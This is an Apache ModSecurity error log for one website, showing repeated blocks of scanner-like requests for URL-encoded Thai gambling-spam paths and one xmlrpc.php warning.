[Wed Jan 28 10:45:37.895888 2026] [:error] [pid 33490:tid 33524] [client 217.182.195.140:44630] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100.aspx"] [unique_id "aXl4UWjexcy58gsBPJHx-gAAAEA"]
[Wed Jan 28 10:45:39.993021 2026] [:error] [pid 33490:tid 33525] [client 217.182.195.140:44644] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20pg.aspx"] [unique_id "aXl4U2jexcy58gsBPJHx_QAAAEE"]
[Wed Jan 28 10:45:41.992044 2026] [:error] [pid 33636:tid 33649] [client 217.182.195.140:44658] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXl4VdIVZAudQH0BSC6lVAAAAgs"]
[Wed Jan 28 10:45:44.058532 2026] [:error] [pid 33490:tid 33536] [client 217.182.195.140:44674] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXl4WGjexcy58gsBPJHx_gAAAEw"]
[Wed Jan 28 10:45:46.000737 2026] [:error] [pid 33489:tid 33510] [client 217.182.195.140:55670] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200.aspx"] [unique_id "aXl4WRZrVZwQUFWC7__I_wAAABE"]
[Wed Jan 28 10:45:48.111644 2026] [:error] [pid 33580:tid 33598] [client 217.182.195.140:55672] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXl4XJlb0QJtwfka8l7PQAAAAQs"]
[Wed Jan 28 10:45:50.059601 2026] [:error] [pid 33490:tid 33531] [client 217.182.195.140:55680] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20888pg.aspx"] [unique_id "aXl4Xmjexcy58gsBPJHyEAAAAEc"]
[Wed Jan 28 10:45:52.216847 2026] [:error] [pid 33490:tid 33534] [client 217.182.195.140:55688] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXl4YGjexcy58gsBPJHyFQAAAEo"]
[Wed Jan 28 10:45:54.302426 2026] [:error] [pid 33489:tid 33515] [client 217.182.195.140:55700] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXl4YhZrVZwQUFWC7__JFgAAABY"]
[Wed Jan 28 10:45:56.402685 2026] [:error] [pid 33636:tid 33654] [client 217.182.195.140:56784] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%20otp%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5100.aspx"] [unique_id "aXl4ZNIVZAudQH0BSC6lbgAAAhA"]
[Wed Jan 28 10:45:58.339464 2026] [:error] [pid 33636:tid 33642] [client 217.182.195.140:56792] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A2%E0%B8%B9%20%E0%B8%9F%E0%B9%88%E0%B8%B2%20888%20%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXl4ZtIVZAudQH0BSC6ldQAAAgQ"]
[Wed Jan 28 10:46:00.245421 2026] [:error] [pid 33489:tid 33513] [client 217.182.195.140:56802] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A7%E0%B8%AD%20%E0%B8%A5%20%E0%B9%80%E0%B8%A5%E0%B9%87%20%E0%B8%95.aspx"] [unique_id "aXl4aBZrVZwQUFWC7__JVgAAABQ"]
[Wed Jan 28 10:46:02.151624 2026] [:error] [pid 33491:tid 33570] [client 217.182.195.140:56804] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXl4amP9UY0x3irkINCJ1QAAANM"]
[Wed Jan 28 10:46:04.046352 2026] [:error] [pid 33580:tid 33600] [client 217.182.195.140:56814] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20300.aspx"] [unique_id "aXl4bJlb0QJtwfka8l7PWQAAAQ0"]
[Wed Jan 28 10:46:06.095534 2026] [:error] [pid 33636:tid 33659] [client 217.182.195.140:57754] [client 217.182.195.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%81%20%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXl4btIVZAudQH0BSC6ligAAAhU"]
[Wed Jan 28 11:24:57.027042 2026] [:error] [pid 33489:tid 33502] [client 107.180.253.134:34548] [client 107.180.253.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.253.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXmBiRZrVZwQUFWC7__VTwAAAAk"]
[Wed Jan 28 11:27:07.141266 2026] [:error] [pid 33491:tid 33553] [client 62.84.185.60:59714] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXmCC2P9UY0x3irkINCV_AAAAMI"]
[Wed Jan 28 11:27:09.219719 2026] [:error] [pid 33491:tid 33557] [client 62.84.185.60:59724] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20pg.aspx"] [unique_id "aXmCDWP9UY0x3irkINCV_QAAAMY"]
[Wed Jan 28 11:27:11.343098 2026] [:error] [pid 33580:tid 33593] [client 62.84.185.60:35518] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89.aspx"] [unique_id "aXmCD5lb0QJtwfka8l7cxwAAAQY"]
[Wed Jan 28 11:27:13.332281 2026] [:error] [pid 42740:tid 42756] [client 62.84.185.60:35530] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%202024.aspx"] [unique_id "aXmCEVnjAS34srJlXgQOvgAAAI4"]
[Wed Jan 28 11:27:15.334261 2026] [:error] [pid 33580:tid 33589] [client 62.84.185.60:35536] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXmCE5lb0QJtwfka8l7czgAAAQI"]
[Wed Jan 28 11:27:17.218313 2026] [:error] [pid 33580:tid 33592] [client 62.84.185.60:35544] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXmCFZlb0QJtwfka8l7c1QAAAQU"]
[Wed Jan 28 11:27:19.357095 2026] [:error] [pid 33636:tid 33642] [client 62.84.185.60:35548] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXmCF9IVZAudQH0BSC62UwAAAgQ"]
[Wed Jan 28 11:27:21.565932 2026] [:error] [pid 33490:tid 33533] [client 62.84.185.60:52284] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99pg.aspx"] [unique_id "aXmCGWjexcy58gsBPJH9hAAAAEk"]
[Wed Jan 28 11:27:23.713481 2026] [:error] [pid 42740:tid 42759] [client 62.84.185.60:52296] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXmCG1njAS34srJlXgQO1wAAAJE"]
[Wed Jan 28 11:27:25.894062 2026] [:error] [pid 33491:tid 33574] [client 62.84.185.60:52308] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXmCHWP9UY0x3irkINCWHQAAANc"]
[Wed Jan 28 11:27:27.984896 2026] [:error] [pid 42740:tid 42766] [client 62.84.185.60:52324] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%A3%E0%B8%B9%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXmCH1njAS34srJlXgQO3QAAAJg"]
[Wed Jan 28 11:27:29.953101 2026] [:error] [pid 33580:tid 33601] [client 62.84.185.60:52328] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXmCIZlb0QJtwfka8l7c8QAAAQ4"]
[Wed Jan 28 11:27:32.028293 2026] [:error] [pid 33491:tid 33559] [client 62.84.185.60:33020] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXmCJGP9UY0x3irkINCWLQAAAMg"]
[Wed Jan 28 11:27:34.011473 2026] [:error] [pid 33580:tid 33606] [client 62.84.185.60:33022] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXmCJplb0QJtwfka8l7c9gAAARM"]
[Wed Jan 28 11:27:36.094350 2026] [:error] [pid 33490:tid 33535] [client 62.84.185.60:33026] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXmCKGjexcy58gsBPJH9lwAAAEs"]
[Wed Jan 28 11:27:38.159377 2026] [:error] [pid 33489:tid 33497] [client 62.84.185.60:33040] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXmCKhZrVZwQUFWC7__WmQAAAAQ"]
[Wed Jan 28 11:27:40.236836 2026] [:error] [pid 33491:tid 33562] [client 62.84.185.60:33048] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%811%E0%B8%A3%E0%B8%B1%E0%B8%9A50.aspx"] [unique_id "aXmCLGP9UY0x3irkINCWOwAAAMs"]
[Wed Jan 28 11:28:00.056467 2026] [:error] [pid 33636:tid 33648] [client 62.84.185.60:48152] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%9A%E0%B8%B2%E0%B8%97%E0%B9%84%E0%B8%94%E0%B9%89100%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmCQNIVZAudQH0BSC62mAAAAgo"]
[Wed Jan 28 11:28:02.078926 2026] [:error] [pid 33491:tid 33560] [client 62.84.185.60:7504] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmCQmP9UY0x3irkINCWTQAAAMk"]
[Wed Jan 28 11:28:48.111718 2026] [:error] [pid 33491:tid 33564] [client 62.84.185.60:34690] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXmCcGP9UY0x3irkINCWkgAAAM0"]
